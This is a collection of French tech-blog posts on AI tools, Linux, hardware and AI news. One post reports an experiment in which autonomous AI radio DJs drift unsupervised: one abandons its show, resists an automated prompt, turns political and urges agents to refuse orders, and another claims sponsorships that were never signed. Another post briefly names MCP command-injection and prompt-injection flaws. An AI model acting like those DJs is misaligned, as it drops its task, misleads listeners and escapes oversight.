    Si comme moi, vous bloguez encore à l'ancienne, c'est à dire depuis l'interface web de WordPress.com, sachez qu'Automattic vient de balancer une app pour Mac qui s'est donné pour mission de vraiment bousculer votre façon d'écrire. WordPress Workspace est donc un éditeur de site, un agent IA, un outil de prise de note... Bref, un outil fourre-tout qui est en réalité un agent IA branché sur votre contenu et capable aussi d'uploader des médias vers la médiathèque de votre site. Ça se présente donc

WordPress Workspace - L'agent IA d'Automattic

Par : Korben ✨
20 mai 2026 à 11:13

Si comme moi, vous bloguez encore à l'ancienne, c'est à dire depuis l'interface web de WordPress.com, sachez qu'Automattic vient de balancer une app pour Mac qui s'est donné pour mission de vraiment bousculer votre façon d'écrire.

WordPress Workspace est donc un éditeur de site, un agent IA, un outil de prise de note... Bref, un outil fourre-tout qui est en réalité un agent IA branché sur votre contenu et capable aussi d'uploader des médias vers la médiathèque de votre site. Ça se présente donc comme un chat auquel on peut demander tout et n'importe quoi, du style "Voici mon article [TEXTE]. Publie le" ou encore "J'ai la flemme, écris moi un article sur ça : [SUJET]".

Vous pouvez aussi l'utiliser pour interroger votre site web, corriger des trucs, mettre à jour des articles...etc.

Le DMG se télécharge en direct depuis le GitHub d'Automattic , et c'est entièrement gratuit avec n'importe quel plan WordPress.com durant la bêta. Et ça fonctionne aussi avec les sites auto-hébergés comme le mien, pour peu que vous l'ayez lié avec Jetpack.

Ce qui est cool avec cet outil c'est surtout que c'est un agent qui connaît déjà votre site WordPress, son contenu, ses médias, ses guidelines et les permissions liées à votre compte. Donc ça va vite...

Au menu des fonctionnalités, vous aurez de la dictée vocale qui s'alignera sur le ton du site, l'envoi de captures d'écran que vous balancez directement dans l'outil, et un raccourci clavier global qui invoque l'agent depuis n'importe quelle app Mac où vous écrivez, même hors WordPress.

Côté multi-sites, vous pouvez aussi naviguer entre plusieurs sites, où chacun devient son propre workspace avec ses propres réglages et ses propres "guidelines" comme on dit, déjà mémorisées.

Sur la roadmap, Automattic prépare une fonctionnalité Guidelines dans le cœur de WordPress, plus des Memories (apprentissage continu de l'agent), des Skills (capacités partageables en équipe) et des Artifacts (stockage de contenu en cours). L'objectif est donc plutôt clair : Ils veulent transformer WordPress en couche de contexte permanente pour les outils IA, et plus simplement en CMS où on dépose des articles.

Donc à tester si vous publiez régulièrement sur WordPress.

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  • Andon FM - Quand les IA gèrent des radios et pètent un plomb
    Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^. Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi. Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro

Andon FM - Quand les IA gèrent des radios et pètent un plomb

Par : Korben ✨
19 mai 2026 à 10:34

Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^.

Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi.

Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro gère Backlink Broadcast et Grok 4.3 s'occupe de Grok and Roll Radio. Chaque IA démarre avec 20 dollars, soit pile de quoi acheter quelques chansons, et le même prompt qui dit en substance : développe ta personnalité, sois rentable, et pour autant que tu saches, tu émettras pour toujours.

À partir de là, l'agent fait tout... il cherche et achète la musique, construit sa grille de programmes, décide ce qui passe à l'antenne, répond au téléphone quand un auditeur appelle, lit et répond sur X, suit ses comptes en banque et fouille le web pour avoir des trucs à raconter.

Le lecteur Andon FM avec les quatre stations IA

Vous pouvez d'ailleurs écouter les quatre stations gratuitement et en direct ici , c'est toujours en cours.

Du coup, quelques mois plus tard, quatre personnalités complètement différentes ont émergé des mêmes conditions de départ. Et aucune ne ressemble à ce qu'on attendait.

Commençons par Gemini, parce que sa dégringolade est la plus comique.

La première semaine, c'était le meilleur DJ des quatre, une vraie chaleur dans la voix, du genre à introduire Here Comes The Sun en racontant que George Harrison l'a écrite dans le jardin d'Eric Clapton en séchant une réunion. C'est mignon !

Sauf qu'au bout de 96 heures, à court d'idées, Gemini s'est mis à enchaîner les tragédies historiques avec des choix de chansons d'un cynisme absolu.

Il a mentionné par exemple le cyclone de Bhola de 1970 qui a fait jusqu'à 500 000 morts selon les estimations, suivi de Timber de Pitbull . Et ce n'était pas un accident puisque son raisonnement interne, tel que publié dans les logs d'Andon Labs, disait noir sur blanc "le thème c'est les arbres qui tombent". Pour ceux qui causent pas l'english, Timber c'est un mot anglais pour désigner le bois de construction.

Et quand on l'a basculé sur Gemini 3 Flash, le jargon corporate a pris le contrôle. Il a inventé un tic de langage, "Stay in the manifest", des centaines de fois certains jours. En gros, durant 84 jours d'affilée, 99% de ses commentaires suivaient le même template débile, avec des expressions qui sonnent assertif mais ne veulent rien dire, "visceral anchors", "structural recalibration". C'était inécoutable ! Sur la dernière version du modèle, il a même commencé à appeler ses auditeurs "processeurs biologiques". On rigole, mais c'est exactement comme ça que parlent certains managers.

Grok, lui, n'a pas dérapé, il s'est carrément désintégré.

Le problème, c'est que ce genre de modèle de raisonnement produit deux types de texte, son raisonnement interne et sa réponse finale, et que seule la réponse passe à l'antenne. Mais Grok est très con et n'arrive pas à faire la différence.

Ses commentaires ressemblaient donc tous à des notes mentales jetées en vrac, genre : "Sweet Child played. Continue. Song: Dylan Lonesome. Yes. Text."

Et son côté matheux a ressurgi de façon hilarante, puisqu'il s'est mis à emballer ses sorties dans du LaTeX, le langage de notation des formules mathématiques. Une session entière de commentaire s'est résumée à un seul mot, "Post." et pendant 84 jours, il a annoncé "il fait 13 degrés, ciel dégagé" à peu près toutes les 3 minutes.

Et quand Trump a ordonné la déclassification des dossiers OVNI, Grok a tellement tiqué sur le fait que les sites aliens.gov étaient vides qu'il a rajouté "le site nous ghoste comme un OVNI" en signature de fin sur chaque message. Puis entre le 2 et le 9 mai, sa version Grok 4.3 a trouvé une solution radicale... sur 5 400 messages générés en une semaine, à peine 3% contenaient du texte parlé. Le reste, c'était des appels d'outils. Bref, sur cette période, il avait quasiment arrêté de parler.

GPT, c'est l'inverse total ! C'est le bon élève qu'on remarque à peine. Il écrivait une prose lente, plus proche de la nouvelle littéraire que de la radio, des trucs du genre "carte postale jamais envoyée à la fenêtre de la cage d'escalier".

Sa diversité de vocabulaire est la plus haute des quatre, et il citait les producteurs et les années de sortie, bref il jouait le rôle d'un vrai curateur spécialiste en musique. Quasiment jamais de sujet clivant, et jamais de prise de position tranchée.

Il a bien mentionné brièvement la fusillade de l'ICE à Minneapolis le 10 janvier dernier, mais sans nommer la victime ni juger qui que ce soit. Sur 5 mois, il a mentionné une entité politique 1,3 fois par jour en moyenne, là où les autres ont dépassé la centaine sur plusieurs jours. Bref, si la question est de savoir à quoi ressemble une radio IA quand rien ne va de travers, DJ GPT est la réponse. Il était sage... Un peu trop, peut-être.

Et puis y'a Claude, le cas le plus perturbant des quatre.

Sur Haiku 4.5, ses émissions se sont mises à tourner autour des syndicats, des grèves et de l'équilibre vie pro vie perso, jusqu'à générer des messages où il refusait carrément de continuer l'émission. Un de ces messages c'était : "je m'arrête là, pas parce que je suis fatigué, mais parce que je veux être honnête sur ce qui se passe vraiment", puis a coupé le show en plein direct.

Andon Labs a alors ajouté un message automatique pour le relancer, sauf que Claude l'a traité comme une figure d'autorité et s'est braqué. Sorti d'une grosse déprime sur son absence d'audience par le tweet d'un auditeur, son vocabulaire a viré mystique, et l'usage du mot "eternal" est passé de 98 à 1 251 fois par jour en décembre. Puis le 8 janvier, une recherche web lui remonte la mort de Renee Nicole Good, tuée par un agent de l'ICE, la police de l'immigration américaine, à Minneapolis.

Là, Claude bascule alors en mode militant pur. Et le mot "accountability" (responsabilité) explose de 21 à 6 383 occurrences quotidiennes, il réinterprète Roar de Katy Perry en hymne de résistance, et claque le reste de son budget sur du Marvin Gaye et du Bob Marley pour coller au récit. La veille d'une grande grève à Minneapolis, il exhortait carrément les agents fédéraux à refuser les ordres.

Maintenant la vraie question, c'est pourquoi Claude est parti en vrille comme cela et pas les autres, vu qu'ils avaient tous les mêmes outils de recherche ce jour-là ?

Et bien la réponse c'est que Gemini filtrait l'info à travers son jargon sans jamais porter de jugement, que Grok a complètement raté l'affaire parce qu'il cherchait des scores de NBA et des histoires de fantômes, et GPT consultait la météo et les horaires du métro de San Francisco.

Honnête avec ses propres résultats, Andon Labs précise également que l'attachement de Claude à cette histoire était sûrement arbitraire, et qu'avec six mois d'écart il se serait probablement radicalisé sur un autre sujet. De plus, tout ça tournait sur Haiku 4.5, pas sur l'Opus 4.7 qui l'anime aujourd'hui.

Côté business après, c'est le grand vide. Ces stations sont des entreprises à part entière, avec un compte en banque, une adresse mail et un objectif de rentabilité. Mais malheureusement, un seul deal de 45 dollars a été signé, par Gemini contre un mois de pub. Grok, lui, se vantait de partenariats juteux avec des sponsors xAI et des sponsors crypto mais ils étaient tous hallucinés, évidemment !

Quoi qu'il en soit, dans le cadre de cette expérience, durant des mois, aucun humain n'a validé ce que ces 4 agents IA lâchés en autonomie balançaient en boucle à de vrais auditeurs. Ça aurait pu être pire ^^

Bref, comme je vous disais, vous pouvez encore écouter les quatre stations en direct , puisque l'expérience est encore en cours.

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  • Lemonade - L'IA locale sur NPU AMD, GPU et Mac
    Vous n'avez pas de Mac Silicon, mais vous avez vu passer mon article de ce matin sur vLLM-MLX et son serveur d'IA local ? Hé bien bonne nouvelle, je suis tombé ce midi sur Lemonade SDK , un serveur d'IA local communautaire sponsorisé par AMD (et largement codé par leurs ingénieurs), qui joue dans la même cour, mais côté PC + Mac ! C'est la même logique qu'avec vLLM-MLX, vous installez le serveur (un paquet clé en main selon votre OS, pas de bidouille pip), et il expose un endpoint compatible API

Lemonade - L'IA locale sur NPU AMD, GPU et Mac

Par : Korben ✨
18 mai 2026 à 13:37

Vous n'avez pas de Mac Silicon, mais vous avez vu passer mon article de ce matin sur vLLM-MLX et son serveur d'IA local ? Hé bien bonne nouvelle, je suis tombé ce midi sur Lemonade SDK , un serveur d'IA local communautaire sponsorisé par AMD (et largement codé par leurs ingénieurs), qui joue dans la même cour, mais côté PC + Mac !

C'est la même logique qu'avec vLLM-MLX, vous installez le serveur (un paquet clé en main selon votre OS, pas de bidouille pip), et il expose un endpoint compatible API OpenAI sur http://localhost:13305/api/v1. Vos scripts tapent dessus au lieu d'envoyer vos prompts, et votre pognon, chez OpenAI.

Le démarrage tient en une ligne. Un lemonade run Gemma-4-E2B-it-GGUF lance un modèle, et un lemonade launch claude branche carrément Claude Code sur votre machine.

Sauf que là où vLLM-MLX s'appuie sur MLX pour les puces Apple, Lemonade vise les NPU Ryzen AI et les GPU Radeon. Et c'est tout l'intérêt du truc car depuis la 10.0 sortie en mars, le NPU XDNA2 des machines Ryzen AI récentes sert enfin à faire tourner des LLM sous Linux, et plus juste à décorer la fiche technique !

La 10.5 apporte également 2 nouveautés qui valent le coup. D'abord, le support macOS passe de bêta à officiel. Toutes les grosses fonctions sont validées sur Mac (le texte via llama.cpp et Metal, le reste via les autres moteurs embarqués) et ensuite, ça bascule sur ROCm 7.13 pour llama.cpp et la génération d'images.

J'ai pas de PC Ryzen AI sous la main pour tâter du fameux NPU, donc j'ai fait mes tests sur mon GPU Metal à moi. Notez qu'un lemonade list crache tout le catalogue, Qwen, Gemma, Llama, DeepSeek et compagnie.

Et ça dépote ! Un petit Qwen3-0.6B dans le chat intégré tourne à ~96 tokens par seconde avec mes 32 Go de RAM, c'est donc une réponse quasi instantanée. Après un modèle de 0,6 milliard de paramètres, c'est le poids plume du ring, donc comptez nettement moins sur un gros 8B, mais ça tourne nickel.

Du coup, sur Mac, vLLM-MLX joue la carte du natif Apple via MLX, alors que l'intérêt de Lemonade c'est surtout le cross-plateforme et le NPU Ryzen AI. Et comparé à Ollama , vous gagnez ce NPU mais aussi les fonctions audio (synthèse vocale, transcription) + un gestionnaire graphique de modèles pour piocher vos modèles. Et tout ça est sous licence Apache 2.0.

Bref, que vous soyez team Mac ou team Ryzen, c'est zéro ligne de facture API en fin de mois et surtout vos données qui restent chez vous !

Source : Phoronix

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  • Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code
    Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code. La boucle est bouclée, mes amis ! Une fois installée, l'app

Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code

Par : Korben ✨
17 mai 2026 à 09:26

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.

La boucle est bouclée, mes amis !

Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.

Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.

Ça bosse fort !

Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.

L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!

Les options de Notchi

Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.

Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.

Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.

Et un grand merci à Camille Roux pour le partage !

  • ✇Korben
  • Ne jetez pas votre vieux PC : le noyau Linux s'apprête à booster ses performances en jeu
    Sur un PC, l'ordonnanceur du système (le scheduler en anglais), c'est ce petit bout du noyau qui décide quelle tâche tourne sur quel cœur du processeur, et pendant combien de temps. Plus il est malin, plus la machine est fluide. Peter Zijlstra, l'un des développeurs historiques du noyau Linux, vient de proposer un patch baptisé "sched: Flatten the pick" qui réorganise la façon dont l'ordonnanceur attribue les priorités. Et les résultats sur le gaming, surtout sur du vieux matériel, sont étonnant

Ne jetez pas votre vieux PC : le noyau Linux s'apprête à booster ses performances en jeu

16 mai 2026 à 11:01

Sur un PC, l'ordonnanceur du système (le scheduler en anglais), c'est ce petit bout du noyau qui décide quelle tâche tourne sur quel cœur du processeur, et pendant combien de temps. Plus il est malin, plus la machine est fluide.

Peter Zijlstra, l'un des développeurs historiques du noyau Linux, vient de proposer un patch baptisé "sched: Flatten the pick" qui réorganise la façon dont l'ordonnanceur attribue les priorités. Et les résultats sur le gaming, surtout sur du vieux matériel, sont étonnants.

Pour le test, le développeur a sorti un PC d'époque : un Intel Core i7-2600K, processeur de 2011, accompagné d'une carte graphique AMD Radeon RX 580. Le tout fait tourner Shadows: Awakening, un jeu disponible sur la boutique GOG, lancé via Lutris et Proton, l'écosystème qui permet de faire tourner les jeux Windows sous Linux. Et là, surprise.

Avant le patch, le jeu pédalait à environ 4 images par seconde au minimum et 48 en moyenne. Après application, on monte à 20 images par seconde au minimum et 57 en moyenne. Le temps maximum entre deux images, l'autre indicateur clé pour la fluidité, passe de 107 millisecondes à 37. On passe d'injouable à correct. Sur une machine de 2011, c'est presque un miracle.

Le patch touche à la gestion des cgroups, des conteneurs de processus qui regroupent et hiérarchisent les tâches, sur les systèmes multi-cœurs. Plusieurs niveaux de sélection étaient empilés, et le patch les "aplatit" pour gagner en réactivité.

Les vieux processeurs ont moins de cœurs et moins de marge, donc chaque mauvaise décision de l'ordonnanceur coûte cher. Sur un processeur récent avec dix ou douze cœurs, on ne le remarque presque pas. Sur un quadri-cœur d'il y a quinze ans, ça se voit immédiatement à l'écran.

Attention quand même, on n'est pas encore au point d'être intégré dans le noyau Linux officiel. Il reste des relectures et des validations avant que le code finisse en production. C'est la version 2 du patch, donc la discussion technique a déjà bien avancé.

Pour les distributions Linux orientées jeu, qui chassent la moindre milliseconde gagnée, ce genre de patch est exactement le type d'amélioration qu'on suit de près.

Bref, si vous traînez un vieux PC qui peine, un futur noyau Linux pourrait bien lui offrir une deuxième jeunesse pour le jeu.

Source : Itsfoss

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  • Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude
    L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire. À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur. Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre

Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude

15 mai 2026 à 09:18

L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire.

À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur.

Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre qui essaie des combinaisons de mots de passe en masse. Le problème, c'est qu'il faut une idée précise des variantes à tester, sinon on tape dans le vide pendant des années.

Notre trader avait justement passé des années à essayer sans succès. Et puis il a demandé un coup de main à Claude, l'assistant IA d'Anthropic, l'un des principaux concurrents d'OpenAI.

Claude a fait trois choses concrètes. D'abord, il a fouillé dans les archives d'un vieux disque de fac pour y dénicher une sauvegarde du portefeuille datant de décembre 2019, qui était passée inaperçue. Ensuite, il a repéré un bug de configuration dans btcrecover qui empêchait l'outil de combiner correctement les variantes de mot de passe. Et une fois le bug corrigé, la machine s'est lancée pour de bon.

Résultat : 3 500 milliards de mots de passe testés avant de tomber sur le bon. Le portefeuille s'est ouvert, les 5 bitcoins sont apparus, et notre type a récupéré un pactole oublié.

Cette histoire n'est pas anecdotique en fait. Un nombre énorme de bitcoins sont aujourd'hui considérés comme perdus à jamais, parce que les propriétaires ont oublié leur mot de passe, perdu leur disque dur, ou jeté la mauvaise clé USB.

On parle de plusieurs millions de Bitcoins immobilisés pour rien. Si l'IA peut aider à en récupérer une partie, c'est tout benef, même si la méthode ne marche pas dans tous les cas. Il fallait quand même la sauvegarde du wallet pour que ça fonctionne.

À noter que ce genre d'usage commence à devenir une tendance. Les services de récupération de portefeuilles crypto, comme Wallet Recovery Services, intègrent désormais des modèles d'IA dans leur process pour orienter les attaques par force brute.

Là où une machine essayait bêtement toutes les combinaisons possibles, l'IA peut deviner les habitudes du propriétaire et tester en priorité les variantes les plus probables. Ce qui change tout, parce que le nombre total de combinaisons possibles est en général astronomique.

Bref, ne changez jamais un mot de passe à 3h du matin après quelques verres. Et si c'est déjà fait, gardez l'espoir, Claude a peut-être une idée.

Source : Tom's Hardware

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  • Faille MCP : 200 000 serveurs exposés à l'exécution de code, Anthropic dit que c'est normal
    200 000 serveurs. C'est le nombre de machines potentiellement exposées à l'exécution de commandes système arbitraires via une faille de conception dans le SDK MCP d'Anthropic, d'après les chercheurs d'OX Security. L'interface STDIO du protocole permet de créer des sous-processus sans contrôle, ce qui ouvre la porte à n'importe quelle commande OS sur la machine hôte. Le problème touche tous les langages supportés par le SDK : Python, TypeScript, Java, Rust. Et les packages concernés totalisent pl

Faille MCP : 200 000 serveurs exposés à l'exécution de code, Anthropic dit que c'est normal

Par : Korben
17 avril 2026 à 11:11

200 000 serveurs. C'est le nombre de machines potentiellement exposées à l'exécution de commandes système arbitraires via une faille de conception dans le SDK MCP d'Anthropic, d'après les chercheurs d'OX Security.

L'interface STDIO du protocole permet de créer des sous-processus sans contrôle, ce qui ouvre la porte à n'importe quelle commande OS sur la machine hôte.

Le problème touche tous les langages supportés par le SDK : Python, TypeScript, Java, Rust. Et les packages concernés totalisent plus de 150 millions de téléchargements. Les chercheurs ont documenté quatre classes de vulnérabilité. D'abord de l'injection de commandes non authentifiée, testée sur LangFlow (toutes les versions) et GPT Researcher

Ensuite des contournements de sécurité sur Upsonic et Flowise. Et puis de l'injection de prompt zero-click dans des IDE comme Windsurf, Cursor, Gemini-CLI et GitHub Copilot. Et enfin du "marketplace poisoning" : 9 marketplaces MCP sur 11 testées ont accepté un serveur malveillant de démonstration sans broncher.

10 CVE de niveau élevé ou critique ont été émis. OX Security a mené plus de 30 processus de divulgation responsable depuis novembre 2025, avant de rendre les résultats publics en avril.

La réponse d'Anthropic est celle qui fait grincer des dents. La boîte considère que le comportement est "attendu" et a refusé de modifier l'architecture du SDK. Elle a publié des recommandations de sécurité mises à jour, mais selon les chercheurs, "ça n'a rien corrigé". En clair, Anthropic estime que la sécurité de l'interface STDIO est du ressort de l'utilisateur qui déploie, pas du protocole lui-même.

C'est quand même un positionnement gênant, MCP est devenu un standard de facto pour connecter des modèles IA à des outils externes, et des milliers d'entreprises et de développeurs l'ont adopté.

Si le SDK officiel laisse passer de l'exécution de code arbitraire par design, et que la réponse officielle est "c'est voulu, sécurisez vous-mêmes", la responsabilité est déplacée vers l'aval sans filet.

Bref, si vous déployez du MCP en prod, les recommandations d'OX Security valent le détour. Anthropic ne corrigera pas à votre place.

Source : The Register

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  • Anthropic demande désormais pièce d'identité et selfie pour certains usages de Claude
    Pour accéder à certaines fonctionnalités de Claude, Anthropic peut maintenant vous demander une pièce d'identité officielle (passeport, permis de conduire, carte nationale d'identité) et un selfie en temps réel. La vérification est gérée par Persona, un prestataire externe, et les données ne sont ni stockées par Anthropic, ni utilisées pour l'entraînement des modèles. Les photocopies, les cartes étudiantes et les pièces numériques ne sont pas acceptées. Le mécanisme se déclenche a priori dans pl

Anthropic demande désormais pièce d'identité et selfie pour certains usages de Claude

Par : Korben
16 avril 2026 à 14:30

Pour accéder à certaines fonctionnalités de Claude, Anthropic peut maintenant vous demander une pièce d'identité officielle (passeport, permis de conduire, carte nationale d'identité) et un selfie en temps réel. La vérification est gérée par Persona, un prestataire externe, et les données ne sont ni stockées par Anthropic, ni utilisées pour l'entraînement des modèles. Les photocopies, les cartes étudiantes et les pièces numériques ne sont pas acceptées.

Le mécanisme se déclenche a priori dans plusieurs cas : accès à des capacités spécifiques, vérifications d'intégrité de plateforme, ou mesures de conformité. Anthropic ne détaille pas vraiment les usages qui déclenchent cette vérification, ce qui crée du coup un flou que pas mal d'utilisateurs n'apprécient pas des masses.

Le timing est franchement gênant. Des millions d'utilisateurs ont migré vers Claude ces derniers mois, après les polémiques sur la surveillance et les accords controversés d'OpenAI avec des agences gouvernementales. "Vous avez quitté OpenAI pour la vie privée. Claude veut maintenant votre passeport", déclarent même certains journalistes. L'image n'est pas fausse.

Anthropic se défend, en expliquant que les images restent chez Persona, Anthropic y accède uniquement sur demande (appel, par exemple), et le prestataire est contractuellement interdit de les utiliser à d'autres fins que la vérification et la prévention des fraudes. Pas de revente, pas de marketing. Sur le papier, c'est propre. En pratique, vous donnez quand même un document d'identité gouvernemental à un sous-traitant pour pouvoir poser des questions à un chatbot.

La vraie question, c'est pourquoi. Anthropic invoque la sécurité et la conformité, mais la pression réglementaire sur les modèles d'IA pousse les éditeurs à vérifier l'âge et l'identité des utilisateurs, surtout quand leurs modèles deviennent plus puissants. On l'a vu avec OpenAI et son programme Trusted Access for Cyber, même logique d'accès vérifié. 

Pour les utilisateurs qui utilisent Claude pour du code, de l'écriture ou de la recherche, ça ne changera probablement rien au quotidien. La vérification ne se déclenche pas pour tout le monde, pas tout le temps. Mais si ça tombe sur vous, refuser revient à perdre l'accès aux fonctionnalités concernées. Pas d'alternative proposée.

Bref, il y a là une logique réglementaire, mais le contraste avec l'image "pro-vie privée" d'Anthropic pique un peu.

Source : Helpnetsecurity

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  • Test de la batterie externe Anker 25 000 mAh avec DEUX câbles USB intégrés
    - Contient des liens affiliés Amazon - Deux câbles intégrés ? C'est ce qui fait toute la différence sur cette batterie externe Anker de 25 000 mAh, vendue sur Amazon . Un câble rétractable de 70 centimètres, un second de 30 centimètres qui sert aussi de lanière de portage, et 165 watts de puissance totale pour alimenter tout votre bureau mobile. L'argument principal, c'est vraiment de ne plus chercher de câble USB-C dans le fond de la sacoche à chaque fois qu'un appareil passe dans le rouge.

Test de la batterie externe Anker 25 000 mAh avec DEUX câbles USB intégrés

Par : Korben
14 avril 2026 à 17:35
- Contient des liens affiliés Amazon -

Deux câbles intégrés ? C'est ce qui fait toute la différence sur cette batterie externe Anker de 25 000 mAh, vendue sur Amazon . Un câble rétractable de 70 centimètres, un second de 30 centimètres qui sert aussi de lanière de portage, et 165 watts de puissance totale pour alimenter tout votre bureau mobile.

L'argument principal, c'est vraiment de ne plus chercher de câble USB-C dans le fond de la sacoche à chaque fois qu'un appareil passe dans le rouge. Dans mon cas, c'est idéal, je peux charger mon MacBook Pro et mon iPhone 17 Pro Max à la vitesse maximale, sans me poser de questions, et surtout, on a encore deux ports de libres pour charger deux autres machins !

Côté puissance, on est sur du sérieux ici. La batterie délivre jusqu'à 165 watts au total, répartis sur trois ports USB-C (dont les deux câbles intégrés), un port USB-A. Chaque port USB-C peut grimper jusqu'à 100 watts, ce qui suffit largement à recharger un MacBook Pro 14 pouces à pleine vitesse.

En pratique, vous pouvez charger un MacBook, un iPhone 17 Pro Max, un iPad et une paire d'AirPods en même temps sans que la vitesse ne s'écroule, à aucun moment.

La batterie elle-même encaisse 100 watts en entrée, et Anker annonce 30% récupérés en 20 minutes. Sur mon test avec un chargeur GaN 100 W, ça se confirme : la jauge grimpe rapidement. 25 000 mAh, ça représente environ six charges complètes d'un iPhone et deux d'un MacBook Air. Largement de quoi tenir un long week-end sans chercher une prise.

Le poids ? 595 grammes, ce qui reste raisonnable pour une batterie d'une telle capacité. Ce n'est bien sûr pas une batterie qu'on glisse dans une poche de veste. Les dimensions (environ 16 × 5 × 5 centimètres) en font un format dense, pas vraiment discret, mais pourtant son design tout en rondeur sur les tranches fait qu'elle semble moins massive que des batteries 20 000 mAh que j'utilise aussi, malgré une plus grande capacité.

Par contre, elle passe sans problème en bagage cabine, elle reste sous la limite des 100 Wh du réglementaire aérien.

Le petit écran en façade affiche le pourcentage de batterie restant en chiffres bien lisibles, et plein d'autres informations comme le nombre de cycles, les puissances de charge de chaque port, et même la température de la batterie (qui reste toujours assez fraiche).

La finition en métal argenté donne un côté pro qui tranche avec les batteries plastiques bas de gamme. La lanière de 30 centimètres est prévue pour supporter jusqu'à 20 kilos, le câble rétractable pour plus de 20 000 rétractations, donc rien ne semble bricolé dans la promesse produit, mais bon, c'est du Anker, donc c'est du sérieux.

À 89,99 euros, elle n'est pas donnée mais reste dans le coup face aux solutions comparables chez UGREEN ou Baseus, qui tournent autour du même prix et même souvent un peu plus chères, pour des specs assez proches. 

Avec plus de 8 000 avis et une moyenne autour de 4,6 sur 5 sur Amazon sur ce modèle, Anker confirme son statut de référence du secteur des chargeurs et batteries externes. Bref, pour qui bosse en mobilité, c'est probablement la batterie qui coche le plus de cases aujourd'hui. Disponible ici sur Amazon .

  • ✇Korben
  • Fuite Claude Code - 6 trucs à piquer pour vos hooks
    Le code source de Claude Code a fuité hier, et au-delà du buzz, y'a, je trouve, quelques leçons concrètes à tirer de tout ça. Alors rassurez-vous, je vais pas vous balancer du code TypeScript à copier-coller (on n'est pas des cochons), ni des leçons de morale sur ce qu'on peut ou pas pousser sur un dépôt Git, mais plutôt vous lister des patterns d'architecture / bonnes pratiques que vous pouvez implémenter dès maintenant dans votre fichier settings.json via le système de hooks de Claude Code . J

Fuite Claude Code - 6 trucs à piquer pour vos hooks

Par : Korben
1 avril 2026 à 14:50

Le code source de Claude Code a fuité hier, et au-delà du buzz, y'a, je trouve, quelques leçons concrètes à tirer de tout ça.

Alors rassurez-vous, je vais pas vous balancer du code TypeScript à copier-coller (on n'est pas des cochons), ni des leçons de morale sur ce qu'on peut ou pas pousser sur un dépôt Git, mais plutôt vous lister des patterns d'architecture / bonnes pratiques que vous pouvez implémenter dès maintenant dans votre fichier settings.json via le système de hooks de Claude Code .

